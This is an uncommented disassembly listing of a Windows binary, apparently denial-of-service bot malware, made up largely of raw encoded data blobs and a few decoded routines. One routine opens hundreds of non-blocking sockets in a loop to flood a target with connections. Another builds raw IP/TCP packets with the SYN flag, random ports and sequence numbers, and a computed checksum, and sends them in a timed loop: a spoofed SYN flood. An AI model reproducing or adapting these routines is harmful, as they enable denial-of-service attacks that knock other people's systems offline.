push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0E8905759h, 22DD0C8h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF5415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A184o dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 51E89057h, 8D022DD0h, 0FFFE4885h, 15FF50FFh dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 2DCFEBE8h, 106A9002h, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8468h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h dd 0FF90022Dh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 0E8905759h, 22DCD7Ch dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 2DCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0E8905359h, 22DCBF0h dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D8E89000h dd 500228D1h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0C868FFFFh dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Dh dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 27CA5BE8h dd 754E9002h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 0C9DAE890h db 2Dh, 2 word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 3DE89056h, 5F022DC9h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAF74 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_413749 push 64h nop call near ptr 2690000h lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 0E8565959h, 22DC798h db 90h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAF74 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAF74 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAF74 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27A0000h lea eax, [ebp+var_8] push eax nop call near ptr 2790A55h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 2790A55h mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435D44 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB00C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAECC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22DC3E8h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB00C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 0C102E890h, 4D8D022Dh, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22DC084h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 15E85359h, 90022DC0h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h dd 22DBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 0E8535959h, 22DBC88h db 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- 